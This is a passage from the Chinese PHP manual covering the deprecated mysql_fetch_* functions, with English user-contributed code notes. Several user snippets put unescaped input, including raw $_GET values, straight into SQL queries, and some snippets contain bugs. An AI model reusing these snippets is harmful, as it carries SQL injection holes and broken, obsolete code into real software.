       $sql .= "(" . implode(", ", $columns) . ")";
       $sql .= " values ";

       // create comma-separated string of values, enclosed in parentheses
       $sql .= "(" . implode(", ", $values) . ")";

       $result = @mysql_query ($sql) OR die ("<br />\n<span style=\"color:red\">Query: $sql UNsuccessful :</span> " . mysql_error() . "\n<br />");

       return ($result) ? true : false;
   }
?>
Daniel Chcouri - 333222 +A-T+ gmail 02-Apr-2009 03:45
Fetching all the results to array with one liner:

<?php
$result = mysql_query(...);
while(($resultArray[] = mysql_fetch_assoc($result)) || array_pop($resultArray));
?>
josh at joshstrike dot com 27-Dec-2008 03:40
Here's a nifty function to copy a whole table to another table. Takes as its arguments
$z -> the result of a SQL query with columns matching the table you're copying into.
$toTable -> string name of the table to copy into.
$link_identifier -> the db resource of the table you're copying into.
If anyone can find a faster way to do this, I'd be glad to know about it...

<?php
function mysql_multirow_copy($z,$toTable,$link_identifier) {
    $fields = "";
    for ($i=0;$i<mysql_num_fields($z);$i++) {
        if ($i>0) {
            $fields .= ",";
        }
        $fields .= mysql_field_name($z,$i);
    }
    $q = "INSERT INTO $toTable ($fields) VALUES";
    $c = 0;
    mysql_data_seek($z,0); //critical reset in case $z has been parsed beforehand. !
    while ($a = mysql_fetch_assoc($z)) {
        foreach ($a as $as) {
            $a[key($a)] = addslashes($as);
            next ($a);
        }
        if ($c>0) {
            $q .= ",";
        }
        $q .= "('".implode(array_values($a),"','")."')";
        $c++;
    }
    $q .= ";";
    $z = mysql_query($q,$link_identifier);
    return ($q);
}
?>
nick at homefeedback dot com 21-Mar-2007 04:50
function array2table: small fix to the post below that handles data returned from mysql that is either null or 0...

This is a useful script for displaying MySQL results in an HTML table.

<?

function array2table($arr,$width)
   {
   $count = count($arr);
   if($count > 0){
       reset($arr);
       $num = count(current($arr));
       echo "<table align=\"center\" border=\"1\"cellpadding=\"5\" cellspacing=\"0\" width=\"$width\">\n";
       echo "<tr>\n";
       foreach(current($arr) as $key => $value){
           echo "<th>";
           echo $key."&nbsp;";
           echo "</th>\n";
           }
       echo "</tr>\n";
       while ($curr_row = current($arr)) {
           echo "<tr>\n";
           $col = 1;
           while (false !== ($curr_field = current($curr_row))) {
               echo "<td>";
               echo $curr_field."&nbsp;";
               echo "</td>\n";
               next($curr_row);
               $col++;
               }
           while($col <= $num){
               echo "<td>&nbsp;</td>\n";
               $col++;
           }
           echo "</tr>\n";
           next($arr);
           }
       echo "</table>\n";
       }
   }

?>

<?

// Add DB connection script here

$query = "SELECT * FROM mytable";
$result = mysql_query($query);
while($row = mysql_fetch_assoc($result)){
  $array[] = $row; }

array2table($array,600); // Will output a table of 600px width

?>
Typer85 at gmail dot com 30-Nov-2006 05:21
Please be advised that the resource result that you pass to this function can be thought of as being passed by reference because a resource is simply a pointer to a memory location.

Because of this, you can not loop through a resource result twice in the same script before resetting the pointer back to the start position.

For example:

----------------
<?php

// Assume We Already Queried Our Database.

// Loop Through Result Set.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

// We looped through the resource result already so the
// the pointer is no longer pointing at any rows.

// If we decide to loop through the same resource result
// again, the function will always return false because it
// will assume there are no more rows.

// So the following code, if executed after the previous code
// segment will not work.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

// Because $queryContent is now equal to FALSE, the loop
// will not be entered.

?>
----------------

The only solution to this is to reset the pointer to make it point at the first row again before the second code segment, so now the complete code will look as follows:

----------------
<?php

// Assume We Already Queried Our Database.

// Loop Through Result Set.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

// Reset Our Pointer.

mysql_data_seek( $queryResult );

// Loop Again.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

?>
----------------

Of course you would have to do extra checks to make sure that the number of rows in the result is not 0 or else mysql_data_seek itself will return false and an error will be raised.

Also please note that this applies to all functions that fetch result sets, including mysql_fetch_row, mysql_fetch_assos, and mysql_fetch_array.
R. Bradley 14-Sep-2006 08:34
In response to Sergiu's function - implode() would make things a lot easier ... as below:

<?php
   function mysql_insert_assoc ($my_table, $my_array) {

       // Find all the keys (column names) from the array $my_array
       $columns = array_keys($my_array);

       // Find all the values from the array
       $values = array_values($my_array);

       // We compose the query
       $sql = "insert into `$my_table` ";
       // implode the column names, inserting "\", \"" between each (but not after the last one)
       // we add the enclosing quotes at the same time
       $sql .= "(\"" . implode("\", \"", $column_names) . "\")";
       $sql .= " values ";
       // Same with the values
       $sql .= "(" . implode(", ", $values) . ")";

       $result = mysql_query($sql);

       if ($result)
       {
           echo "The row was added sucessfully";
           return true;
       }
       else
       {
           echo ("The row was not added<br>The error was" . mysql_error());
           return false;
       }
   }
?>

Thus, a call to this function of:
mysql_insert_assoc("tablename", array("col1"=>"val1", "col2"=>"val2"));

Sends the following sql query to mysql:
INSERT INTO `tablename` ("col1", "col2") VALUES ("val1", "val2")
chasfileDELETE_ALL_CAPS at gmail dot com 23-Feb-2006 11:26
What if you *want* a two dimensional array?  Useful for output as an HTML table, for instance.

function mysql_resultTo2DAssocArray ( $result) {
    $i=0;
    $ret = array();
    while ($row = mysql_fetch_assoc($result)) {
        foreach ($row as $key => $value) {
            $ret[$i][$key] = $value;
            }
        $i++;
        }
    return ($ret);
    }

print_r(mysql_resultTo2DAssocArray(mysql_query("SELECT * FROM something")));

Array ( [0] => Array ( [symbol] => ARNA
          [datetime] => 2006-02-17 16:00:00
          [price] => 16.83 )
     [1] => Array ( [symbol] => CALP
          [datetime] => 2006-02-17 16:00:00
          [price] => 6.54 )
     [2] => Array ( [symbol] => CROX
          [datetime] => 2006-02-17 16:00:00
          [price] => 27.4 ))
jono 01-Feb-2006 09:22
Note that the field names quoted within $row[] are case sensitive whereas many sql commands are case insensitive.
benlanc at ster dot me dot uk 23-Aug-2005 04:25
It probably without saying, but using list() in conjunction with mysql_fetch_assoc() does not work - use mysql_fetch_row() instead.

<?php
$sql = "SELECT `id`,`field`,`value` FROM `table`";
$result = mysql_query($sql);

// this results in empty values for rowID,fieldName,myValue
list($rowID,$fieldName,$myValue) = mysql_fetch_assoc($result);

// this is what you want:
list($rowID,$fieldName,$myValue) = mysql_fetch_row($result);
?>
jo at durchholz dot org 21-Jun-2005 01:58
To sum up moverton at northshropshiredc dot gov dot uk and Olivier Fabre:

If the query is "SELECT something1, something2, .... FROM tbl WHERE some_condition", the keys in the returned array will be 'something1', 'something2', etc. *even for those "somethings" that are not just field names*.

Examples of non-fieldname "somethings" are:
NULL
NOW
MAX(some_fieldname)

I haven't tested whether this applies to table.fieldname, but I see no reason why it shouldn't (I'd suspect a typo in my code if I didn't get the expected results; I certainly have had my share of them!)

I found it most convenient to check for typos by simply var_dumping the resulting row, like this:

<?php
echo '<pre>Got this row:'
var_dump ($row);
echo '</pre>';
?>

where $row is the result from the last call to mysql_fetch_assoc.
erik[at]phpcastle.com 14-May-2005 12:50
When you have to loop multiple times through the result of a query you can set the result pointer to 0 (zero) with mysql_data_seek ()

The advantage is that you do not have to query database twice with te same query :)

So:
<?php
  $query = "
    SELECT *
    FROM database
  ";

  //Query database
  $result = mysql_query ($query);

  //Iterate result
  while ($record = mysql_fetch_assoc ($result)){
    print_r ($record);
  }

  ...

  //Point to 0 (zero)
  mysql_data_seek ($result, 0);

  //Re-use the result
  while ($record = mysql_fetch_assoc ($result)){
    print_r ($record);
  }
?>
joe at kybert dot com 29-Sep-2004 01:07
Worth pointing out that the internal row pointer is incremented once the data is collected for the current row.

This means that multiple calls will iterate through the row data, so you DONT need to mysql_data_seek(..) between calls.

This is noted in the  mysql_fetch_row() docs, but not here!?
moverton at northshropshiredc dot gov dot uk 17-Sep-2004 05:27
Actually, Olivier, you're completely wrong about that, because there's a bug in your sample code. It will indeed return $row['MAX(time)'] - you have to pass the MySQL resource to mysql_fetch_assoc() and you're not doing that. This:

$row = mysql_fetch_assoc($conn)

...where $conn is your DB connection, would in fact produce a result. The complete example below is taken from my own self-written content management system:

$query = 'SELECT MAX(ctRevDate) FROM content group by ctPage';
$querySet = mysql_query($query, $conn);
$row = mysql_fetch_assoc($querySet);
print_r($row);

This produces:

Array
(
    [MAX(ctRevDate)] => 2004-01-15
)

..on my testbed. So it doesn't in fact need an alias at all.
marREtijn dot posthMOuma at hoVEme dot nl 04-Sep-2003 04:57
It appears that you can't have table.field names in the resulting array.
Just use an alias if your results come up empty and you are using multi-table query's:

$res=mysql_query("SELECT user.ID AS uID, order.ID AS oID FROM user, order WHERE ( order.userid=uID )";
while ($row=mysql_fetch_assoc($res)) {
   echo "<p>userid: $row['uID'], orderid: $row['oID']</p>";
}


从结果集中取得列信息并作为对象返回

  • ? mysql_fetch_assoc
  • mysql_fetch_lengths ?
  • PHP Manual
  • MySQL 函数
  • 从结果集中取得列信息并作为对象返回

mysql_fetch_field

(PHP 4, PHP 5)

mysql_fetch_field — 从结果集中取得列信息并作为对象返回

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_fetch_field()
  • PDOStatement::getColumnMeta()

说明

mysql_fetch_field(resource $result, int $field_offset = ?): object

返回一个包含字段信息的对象。

mysql_fetch_field() 可以用来从某个查询结果中取得字段的信息。如果没有指定字段偏移量，则下一个尚未被 mysql_fetch_field() 取得的字段被提取。

对象的属性为：

  • name - 列名
  • table - 该列所在的表名，which is the alias name if one is defined
  • max_length - 该列最大长度
  • not_null - 1，如果该列不能为 null
  • primary_key - 1，如果该列是 primary key
  • unique_key - 1，如果该列是 unique key
  • multiple_key - 1，如果该列是 non-unique key
  • numeric - 1，如果该列是 numeric
  • blob - 1，如果该列是 BLOB
  • type - 该列的类型
  • unsigned - 1，如果该列是无符号数
  • zerofill - 1，如果该列是 zero-filled

Note: 此函数返回的字段名大小写敏感。

Example #1 mysql_fetch_field()

<?php
mysql_connect('localhost:3306', $user, $password)
or die("Could not connect: " . mysql_error());
mysql_select_db("database");
$result = mysql_query("select * from table")
or die("Query failed: " . mysql_error());
/* get column metadata */
$i = 0;
while ($i < mysql_num_fields($result)) {
echo "Information for column $i:<br />\n";
$meta = mysql_fetch_field($result);
if (!$meta) {
echo "No information available<br />\n";
}
echo "<pre>
blob: $meta->blob
max_length: $meta->max_length
multiple_key: $meta->multiple_key
name: $meta->name
not_null: $meta->not_null
numeric: $meta->numeric
primary_key: $meta->primary_key
table: $meta->table
type: $meta->type
unique_key: $meta->unique_key
unsigned: $meta->unsigned
zerofill: $meta->zerofill
</pre>";
$i++;
}
mysql_free_result($result);
?>

参见 mysql_field_seek()。

参数

result

resource 型的结果集。此结果集来自对 mysql_query() 的调用。

field_offset

The numerical field offset. If the field offset is not specified, the next field that was not yet retrieved by this function is retrieved. The field_offset starts at 0.

返回值

Returns an object containing field information. The properties of the object are:

  • name - column name
  • table - name of the table the column belongs to
  • max_length - maximum length of the column
  • not_null - 1 if the column cannot be null
  • primary_key - 1 if the column is a primary key
  • unique_key - 1 if the column is a unique key
  • multiple_key - 1 if the column is a non-unique key
  • numeric - 1 if the column is numeric
  • blob - 1 if the column is a BLOB
  • type - the type of the column
  • unsigned - 1 if the column is unsigned
  • zerofill - 1 if the column is zero-filled

示例

Example #2 mysql_fetch_field() example

<?php
$conn = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$conn) {
die('Could not connect: ' . mysql_error());
}
mysql_select_db('database');
$result = mysql_query('select * from table');
if (!$result) {
die('Query failed: ' . mysql_error());
}
/* get column metadata */
$i = 0;
while ($i < mysql_num_fields($result)) {
echo "Information for column $i:<br />\n";
$meta = mysql_fetch_field($result, $i);
if (!$meta) {
echo "No information available<br />\n";
}
echo "<pre>
blob: $meta->blob
max_length: $meta->max_length
multiple_key: $meta->multiple_key
name: $meta->name
not_null: $meta->not_null
numeric: $meta->numeric
primary_key: $meta->primary_key
table: $meta->table
type: $meta->type
unique_key: $meta->unique_key
unsigned: $meta->unsigned
zerofill: $meta->zerofill
</pre>";
$i++;
}
mysql_free_result($result);
?>

注释

Note: 此函数返回的字段名大小写敏感。

Note:

If field or tablenames are aliased in the SQL query the aliased name will be returned. The original name can be retrieved for instance by using mysqli_result::fetch_field().

参见

  • mysql_field_seek() - 将结果指针设置为指定的字段偏移量

User Contributed Notes

mwwaygoo AT hotmail DOT com 30-May-2012 10:20
Using mysql_fetch_field you can produce a more robust version of mysql_fetch_assoc.

When querying 2 tables with the same field names, generally you would need to use mysql_fetch_row to get an integer key'ed array rather than an associated key'ed array. This is because fields of the same name in the second table will over-write the data returned from the first table.
However this simple function will insert the table name prior to the field name for the key and prevent cross-overs.

ie SELECT *, 'test' AS test 4 FROM table AS T_1, table AS T_2 WHERE T_1.a=T_2.b

could produce:

mysql_fetch_assoc() returns
array(
'index'=>2,
'a'=>'pear',
'b'=>'apple',
'test'=>'test',
4=>4
)

mysql_fetch_table_assoc() returns
array(
'T_1.index' =>1,
'T_1.a'=>'apple',
'T_1.b'=>'banana',
'T_2.index'=>2,
'T_2.a'=>'pear',
'T_2.b'=>'apple',
'test'=>'test',
4=>4
)

<?php
function mysql_fetch_table_assoc($resource)
{
    // function to get all data from a query, without over-writing the same field
    // by using the table name and the field name as the index

    // get data first
    $data=mysql_fetch_row($resource);
    if(!$data) return $data; // end of data

    // get field info
    $fields=array();
    $index=0;
    $num_fields=mysql_num_fields($resource);
    while($index<$num_fields)
    {
        $meta=mysql_fetch_field($resource, $index);
        if(!$meta)
        {
            // if no field info then just use index number by default
            $fields[$index]=$index;
        }
        else
        {
            $fields[$index]='';
            // deal with field aliases - ie no table name (SELECT T_1.a AS temp)
            if(!empty($meta->table)) $fields[$index]=$meta->table.'.';
            // deal with raw data - ie no field name (SELECT 1)
            if(!empty($meta->name))  $fields[$index].=$meta->name; else $fields[$index].=$index;
        }
        $index++;
    }
    $assoc_data=array_combine($fields, $data);
    return $assoc_data;
}
?>
Daniel B 26-Mar-2012 02:56
Simple function to display all data in a query...

function dumpquery($query) {
    $numfields = mysql_num_fields($query);
    echo '<table border="1" bgcolor="white"><tr>';
    for ($i = 0; $i<$numfields; $i += 1) {
        $field = mysql_fetch_field($query, $i);
        echo '<th>' . $field->name . '</th>';
    }
    echo '</tr>';
    while ($fielddata = mysql_fetch_array($query)) {
        echo '<tr>';
        for ($i = 0; $i<$numfields; $i += 1) {
            $field = mysql_fetch_field($query, $i);
            echo '<td>' . $fielddata[$field->name] . '</td>';
        }
        echo '</tr>';
    }
    echo '</table>';
}
lucien at ocia dot nl 04-Feb-2012 01:08
Performance Notes!

I used this script for testing, the table has 26 colums.

<?php
$t_start = microtime(true);
$sql = mysql_query("SELECT * FROM `table` LIMIT 1") or trigger_error(mysql_error(), E_USER_WARNING);
for ($i = 0; $i < mysql_num_fields($sql); $i++) {
    $meta = mysql_fetch_field($sql, $i);
    echo "Information for column ".$meta->name.":\n";
    echo
"\tblob:         $meta->blob
\tmax_length:   $meta->max_length
\tmultiple_key: $meta->multiple_key
\tname:         $meta->name
\tnot_null:     $meta->not_null
\tnumeric:      $meta->numeric
\tprimary_key:  $meta->primary_key
\ttable:        $meta->table
\ttype:         $meta->type
\tunique_key:   $meta->unique_key
\tunsigned:     $meta->unsigned
\tzerofill:     $meta->zerofill
";
}
$t_stop = microtime(true);
$t_proc = $t_stop - $t_start;
echo "processing time query 1: ".number_format($t_proc * 1000, 3)." ms\n";
unset($t_start);
unset($t_stop);
unset($t_proc);
$t_start = microtime(true);
$sql = mysql_query("DESCRIBE `table`");
while ($res = mysql_fetch_array($sql, MYSQL_ASSOC)) {
    print_r($res);
}
$t_stop = microtime(true);
$t_proc = $t_stop - $t_start;
echo "processing time query 2: ".number_format($t_proc * 1000, 3)." ms\n";
?>

Query 1 => 0.444 ms
Query 2 => 1.146 ms

So for easy usage, Query 2 is advised... But if your a performance-geek, you should use Query 1.
eviltofu at gmail dot com 08-Jul-2011 05:58
MYSQLI_TYPE_BLOB indicates the field is a BLOB or a TEXT. I think you would need to check the blob value. If its true then it's a BLOB, otherwise it's a TEXT. Can someone confirm?
Jonathan 30-Jul-2010 05:45
It should be noted that the primary_key member variable is only set to 1 if the primary key on the table is only on that 1 field. If you have a table that has a multiple column primary key, then you will not get what you might expect.

For example:
CREATE TABLE `line_item_table` (
  `liForeignKey1` int(11) unsigned not null,
  `liForeignKey2` int(11) unsigned not null,
  PRIMARY KEY (`liForeignKey1`, `liForeignKey2`)
) ENGINE=MyISAM;

While you might expect that primary_key == 1 for both columns; var_dump() will show you that you get the following for both fields:
["primary_key"]=>int(0)

This is as of PHP 5.2.13 and MySQL 5.0.51
TALU 04-Feb-2009 08:16
XML generation.

Bit of a security risk allowing parameters to select db and table on live server (unless user is restricted or replace the $_GET with fixed value.)

Outputs xml with standard format for <config> part to generate forms in flash.

<?php
    //
    //    makeXML.php?db=dbname&table=tablename
    //

    set_time_limit(300);

    $host = "localhost";
    $user = "root";
    $password = "root";

    $database = $_GET['db'];
    $table = $_GET['table'];

    mysql_connect($host,$user,$password);
    @mysql_select_db($database) or die( "Unable to select database");

    $querytext="SELECT * FROM ".$table;
    $result=mysql_query($querytext);

    if ($result){
        $num=mysql_num_rows($result);
    }else{
        $num=0;
    }

?>
<?php
    header('Content-Type: text/xml');
     echo "<?xml version='1.0'?>";

     if ($num > 0){
 ?>
<<?php  echo $table?>>
    <config>
        <?php
            // Display number of fields
            echo "<numFields>".mysql_num_fields($result)."</numFields>";
            $i = 0;
            $primaryKey = "";
            $nameArray = array();
            $maxLengthArray = array();
            $typeArray = array();
            while ($i < mysql_num_fields($result)) {
                $meta = mysql_fetch_field($result, $i);
                $nameArray[$i] = $meta->name;
                $maxLengthArray[$i] = $meta->max_length;
                $typeArray[$i] = $meta->type;
                if ($meta->primary_key){
                    $primaryKey = $meta->name;
                }
                $i++;
            }
            $i = 0;
            echo "<fieldNames>";
            while ($i < count($nameArray)) {
                echo "<field".$i.">".$nameArray[$i]."</field".$i.">";
                $i++;
            }
            echo "</fieldNames>";
            $i = 0;
            echo "<fieldMaxLength>";
            while ($i < count($maxLengthArray)) {
                echo "<field".$i.">".$maxLengthArray[$i]."</field".$i.">";
                $i++;
            }
            echo "</fieldMaxLength>";
            $i = 0;
            echo "<fieldType>";
            while ($i < count($typeArray)) {
                echo "<field".$i.">".$typeArray[$i]."</field".$i.">";
                $i++;
            }
            echo "</fieldType>";
        ?>
        <primaryKey><?php  echo $primaryKey?></primaryKey>
        <numRecords><?php  echo $num?></numRecords>
    </config>
<?php
    $i=0;
    while ($i < $num) {
        $ID=mysql_result($result,$i,"ID");
        $value=mysql_result($result,$i,"value");
        $title=mysql_result($result,$i,"title");
        $description=mysql_result($result,$i,"description");
?>
    <row>
        <ID><?php  echo $ID?></ID>
        <weighting><?php  echo $value?></weighting>
        <title><?php  echo $title?></title>
        <description><?php  echo $description?></description>
    </row>
<?php
        $i = $i + 1;
    }
?>
</<?php  echo $table?>>

<?php
    }
?>
php [spat] hm2k.org 04-Nov-2008 03:22
An improvement on the earlier mysql_column_exists function.

<?php

function mysql_column_exists($table_name, $column_name, $link=false) {
    $result = @mysql_query("SHOW COLUMNS FROM $table_name LIKE '$column_name'", $link);
    return (mysql_num_rows($result) > 0);
}

?>
jorachim at geemail dot com 25-Sep-2008 01:09
If you want the fields in a table, a simple DESCRIBE query will work:

<?php
$query ="DESCRIBE Users";
$result = mysql_query($query);

echo "<ul>";

while($i = mysql_fetch_assoc($result))
     echo "<li>{$i['Field']}</li>";

echo "</ul>";
?>

Should do the trick.
david at vitam dot be 10-Jun-2008 05:57
A little function to help coders to distinct the tablename from a multiselect query where some fields has the same name in differents tables.

<?php
public function sql($sql) {
    $T_Return=array();
    $result=@mysql_query($sql);

    $i=0;
    while ($i < mysql_num_fields($result)) {
        $fields[]=mysql_fetch_field($result, $i);
        $i++;
    }

    while ($row=mysql_fetch_row($result)) {
        $new_row=array();
        for($i=0;$i<count($row); $i++) {
            $new_row[ $fields[$i]->table][$fields[$i]->name]=$row[$i];
        }
        $T_Return[]=$new_row;
    }

    return $T_Return;
}
?>
dheep 03-Jun-2008 08:56
Simple PHP script for displaying the field names. Presuming the database is seleected already.

<?php
$sql = "SELECT * FROM table_name;";
$result = mysql_query($sql);
$i = 0;
while($i<mysql_num_fields($result))
{
  $meta=mysql_fetch_field($result,$i);
  echo $i.".".$meta->name."<br />";
  $i++;
}
?>

OUTPUt:
0.id
1.todo
2.due date
3.priority
4.type
5.status
6.notes

hope this is useful.
Nick Baicoianu 15-Sep-2005 11:18
Be sure to note that $max_length is the length of the longest value for that field in the returned dataset, NOT the maximum length of data that column is designed to hold.
php at brayra dot com 21-Mar-2002 04:09
I needed to get the field information and the enum/set values. Here is the function I created to expand the object returned by mysql_fetch_field. I also, decided to return all the fields for a table in an array of field objects by "name" and position much like mysql_fetch_array does.

You could test it by using:

<?php
$myfields = GetFieldInfo('test_table');
print "<pre>";
print_r($myfields);
print "</pre>";
?>

The field objects now have 'len', 'values' and 'flags' parameters.
NOTE: 'values' only has data for set and enum fields.

<?php
//This assumes an open database connection
//I also use a constant DB_DB for current database.
function GetFieldInfo($table)
{
  if($table == '') return false;
  $fields = mysql_list_fields(DB_DB, $table);
  if($fields){
    $columns = mysql_query('show columns from ' . $table);
    if($columns){
      $num = mysql_num_fields($fields);
      for($i=0; $i < $num; ++$i){
        $column = mysql_fetch_array($columns);
        $field = mysql_fetch_field($fields, $i);
        $flags = mysql_field_flags($fields, $i);
        if($flags == '') $flags=array();
        else $flags = explode(' ',$flags);
        if (ereg('enum.(.*).',$column['Type'],$match))
          $field->values = explode(',',$match[1]);
        if (ereg('set.(.*).',$column['Type'],$match))
          $field->values = explode(',',$match[1]);
        if(!$field->values) $field->values = array();
        $field->flags = $flags;
        $field->len = mysql_field_len($fields, $i);
        $result_fields[$field->name] = $field;
        $result_fields[$i] = $field;
      }
      mysql_free_result($columns);
    }
    mysql_free_result($fields);
    return $result_fields;
  }
  return false;
}
?>

hope someone else finds this useful.
krang at krang dot org dot uk 10-Mar-2002 06:12
The field type returns what PHP classifies the data found in the field, not how it is stored in the database; use the following example to retrieve the MySQL information about the field....

<?php
$USERNAME = '';
$PASSWORD = '';

$DATABASE = '';
$TABLE_NAME = '';

mysql_connect('localhost', $USERNAME, $PASSWORD)
    or die ("Could not connect");

$result = mysql_query("SHOW FIELDS FROM $DATABASE.$TABLE_NAME");

$i = 0;

while ($row = mysql_fetch_array($result)) {
  echo $row['Field'] . ' ' . $row['Type'];
}
?>


取得结果集中每个输出的长度

  • ? mysql_fetch_field
  • mysql_fetch_object ?
  • PHP Manual
  • MySQL 函数
  • 取得结果集中每个输出的长度

mysql_fetch_lengths

(PHP 4, PHP 5)

mysql_fetch_lengths — 取得结果集中每个输出的长度

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_fetch_lengths()
  • PDOStatement::getColumnMeta()

说明

mysql_fetch_lengths(resource $result): array|false

返回数组，对应 MySQL 查询中获取的最后一行的每个字段的长度。

mysql_fetch_lengths() 将上一次
mysql_fetch_row()、mysql_fetch_assoc()、mysql_fetch_array()
和 mysql_fetch_object() 所返回的最后一行的每个字段的长度储存到一个数组中，偏移量从 0 开始。

参数

result

resource 型的结果集。此结果集来自对 mysql_query() 的调用。

返回值

An array of lengths on success 或者在失败时返回 false.

示例

Example #1 mysql_fetch_lengths() 示例

<?php
$result = mysql_query("SELECT id,email FROM people WHERE id = '42'");
if (!$result) {
echo 'Could not run query: ' . mysql_error();
exit;
}
$row = mysql_fetch_assoc($result);
$lengths = mysql_fetch_lengths($result);

print_r($row);
print_r($lengths);
?>

以上示例的输出类似于：

Array
(
    [id] => 42
    [email] => user@example.com
)
Array
(
    [0] => 2
    [1] => 16
)

参见

  • mysql_field_len() - 返回指定字段的长度
  • mysql_fetch_row() - 从结果集中取得一行作为枚举数组
  • strlen() - 获取字符串长度

User Contributed Notes

Bavo Janss 10-Jul-2009 07:19
In case of UTF8 fields mysql_field_len() will return 3 times the maximum length (e.g. 30 for a VARCHAR(10) field)) for mysql_field_len() returns the byte length of the field not the defined size.


从结果集中取得一行作为对象返回

  • ? mysql_fetch_lengths
  • mysql_fetch_row ?
  • PHP Manual
  • MySQL 函数
  • 从结果集中取得一行作为对象返回

mysql_fetch_object

(PHP 4, PHP 5)

mysql_fetch_object — 从结果集中取得一行作为对象返回

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_fetch_object()
  • PDOStatement::fetch() with mode as PDO::FETCH_OBJ

说明

mysql_fetch_object(resource $result, string $class_name = ?, array $params = ?): object

返回一个对象，其属性与获取的行相对应，并将内部数据指针向前移动。

参数

result

resource 型的结果集。此结果集来自对 mysql_query() 的调用。

class_name

要实例化、设置属性并返回的类的名称，如果不指定，默认返回 stdClass 对象。

params

可选 array 数组参数，会传递给 class_name 类的构造函数。

返回值

返回根据所取得的行生成的对象 object，如果没有更多行则返回 false。

示例

Example #1 mysql_fetch_object() example

<?php
mysql_connect("hostname", "user", "password");
mysql_select_db("mydb");
$result = mysql_query("select * from mytable");
while ($row = mysql_fetch_object($result)) {
echo $row->user_id;
echo $row->fullname;
}
mysql_free_result($result);
?>

Example #2 mysql_fetch_object() example

<?php
class foo {
public $name;
}

mysql_connect("hostname", "user", "password");
mysql_select_db("mydb");

$result = mysql_query("select name from mytable limit 1");
$obj = mysql_fetch_object($result, 'foo');
var_dump($obj);
?>

注释

Note: Performance

速度上，本函数和 mysql_fetch_array() 一样，也几乎和 mysql_fetch_row() 一样快（差别很不明显）。

Note:

mysql_fetch_object() 和 mysql_fetch_array() 类似，只有一点区别 - 返回一个对象而不是数组。间接地也意味着只能通过字段名来访问数组，而不是偏移量（数字是合法的属性名）。

Note: 此函数返回的字段名大小写敏感。

Note: 此函数将 NULL 字段设置为 PHP null 值。

参见

  • mysql_fetch_array() - 从结果集中取得一行作为关联数组
  • mysql_fetch_assoc() - 从结果集中取得一行作为关联数组
  • mysql_fetch_row() - 从结果集中取得一行作为枚举数组
  • mysql_data_seek() - 移动内部结果的指针
  • mysql_query() - 发送一条 MySQL 查询

User Contributed Notes

webmaster at kibab dot com 01-Sep-2010 07:46
That huge difference in timings may be caused by database cache issues. If mysql_fetch_object() was the first function to be used, the cache was empty, but subsequent invocations took the result from the query cache.
mp 27-Aug-2008 10:39
When working with a stdClass object returned from a database query, specifically:

$object = mysql_fetch_object($result)

You may run into assignment problems if you have a field with a '.' in the name.
e.g.: `user.id`

To remedy this situation, you can use curly braces and single quotes during assignment.

In place of:
$myObject->user_id = $object->user.id;

Use:
$myObject->user_id = $object->{'user.id'};
strrev xc.noxeh@ellij 05-Jun-2008 05:28
I created a table, with 5 INT columns, and 1000 rows of random ints.
I did 100 selects:

SELECT * FROM bench... (mysql_fetch_object)
Query time: 5.40725040436
Fetching time: 16.2730708122 (avg: 1.32130565643E-5)
Total time: 21.6803212166

SELECT * FROM bench... (mysql_fetch_array)
Query time: 5.37693023682
Fetching time: 10.3851644993 (avg: 7.48886537552E-6)
Total time: 15.7620947361

SELECT * FROM bench... (mysql_fetch_assoc)
Query time: 5.345921278
Fetching time: 10.6170959473 (avg: 7.64049530029E-6)
Total time: 15.9630172253

"Note: Performance  Speed-wise, the function is identical to mysql_fetch_array(), and almost as quick as mysql_fetch_row() (the difference is insignificant)."

And I am a penguin :)
hcse at op dot pl 03-Jun-2008 03:19
<?php
class Test {

    public $go ;
    private $id ;

    function show() {
        return "id: {$this->id} go: {$this->go}" ;
    }

    function __construct()
    {
        echo "in __construct() ". $this->show() ."\n" ;
        $this->go = uniqid()    ;
    }

}

if (! ($res = mysql_query('SELECT * FROM `test`', $db))) {
    die('Invalid query: ' . mysql_error() . "\n");
}

while($obj = mysql_fetch_object($res, 'Test') ){
    echo "outside ________ ". $obj->show() ."\n\n";
}
?>

This code gives the result:
in __construct() id: 1 go: first
outside ________ id: 1 go: 4845bd99ca2e3

in __construct() id: 2 go: second
outside ________ id: 2 go: 4845bd99ca2fd

It means that __construct() is invoked after filling fields with data from database, eg. it can be used to change strings into integers.
Justin Rovang 16-May-2008 12:24
This is another way to load variables quickly within $this, and allows for intervention on variable names.

All columns from the single-row result are loaded and accessed via $this->_variableName.

<?
class MyClass{
    public function _load($nID) {
        $Q = "SELECT * FROM myTable";
        if($aTmp = RETURN_Q_ARRAY($Q)) {
            $aTmp = $aTmp[0];
            $aK =array_keys($aTmp);
            foreach($aK as $sK) {
                if(!is_numeric($sK)) $this->{"_$sK"}=$aTmp[$sK];
            }
            return true;
        }
        return false;
    }
}

$o = new MyClass;
$o->_load(1);

echo $o->_id; //1
echo $o->_otherColumn; //otherColumn value
Peter T 19-Apr-2008 09:36
If you're using mysql_fetch_object and specifying a class - the properties will be set BEFORE the constructor is executed.  This is generally not an issue, but can cause some major problems if you're properties are set via the __set() magic method and constructor logic must be executed first.
danielpunt 08-Feb-2008 05:20
@Jezze : This wil also work. Also works with static methods.

<?php

class Foo
{
    private $FooBar;

    public function LoadFromId($Id)
    {
        $Result = mysql_query('SELECT * FROM foo WHERE Id = ' . $Id);
        while($Row = mysql_fetch_object($Result, __CLASS__))
        {
            print_r($Row);
        }

    }

}

$Foo = new Foo;
$Foo->LoadAll();

?>
Jezze 24-Sep-2007 10:56
